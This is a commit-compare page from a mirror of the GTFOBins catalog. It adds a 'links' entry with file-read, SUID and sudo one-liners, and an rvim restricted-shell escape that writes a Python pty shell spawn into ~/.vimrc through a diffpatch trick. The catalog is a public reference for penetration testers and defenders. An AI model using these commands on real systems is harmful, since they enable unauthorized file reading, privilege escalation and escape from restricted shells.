1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-13 02:56:02 +02:00

Compare commits

...

3 Commits

Author SHA1 Message Date
vhash e4979ae345
Merge 1894142c8a into 97f46f1526 2024-04-24 13:27:17 +08:00
Juampa Rodríguez 97f46f1526
Create links
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2024-04-10 22:46:01 +02:00
Lucas VAN HAAREN 1894142c8a
adds rvim redir and diffpatch trick 2023-09-25 16:18:01 +02:00
2 changed files with 18 additions and 0 deletions

16
_gtfobins/links.md Normal file
View File

@ -0,0 +1,16 @@
---
description: The result is displayed in a TUI interface.
functions:
file-read:
- code: |
LFILE=file_to_read
links "$LFILE"
suid:
- code: |
LFILE=file_to_read
./links "$LFILE"
sudo:
- code: |
LFILE=file_to_read
sudo links "$LFILE"
---

View File

@ -1,6 +1,8 @@
---
functions:
shell:
- description: This requires that `rvim` version is `< 9.0.1440`.
code: rvim -c ':redir! > ~/.vimrc | echo "!python3 -c \'import pty; pty.spawn(\"/bin/bash\")\'" | redir END | set shell=/usr/bin/vim | diffpatch'
- description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
- description: This requires that `rvim` is compiled with Lua support.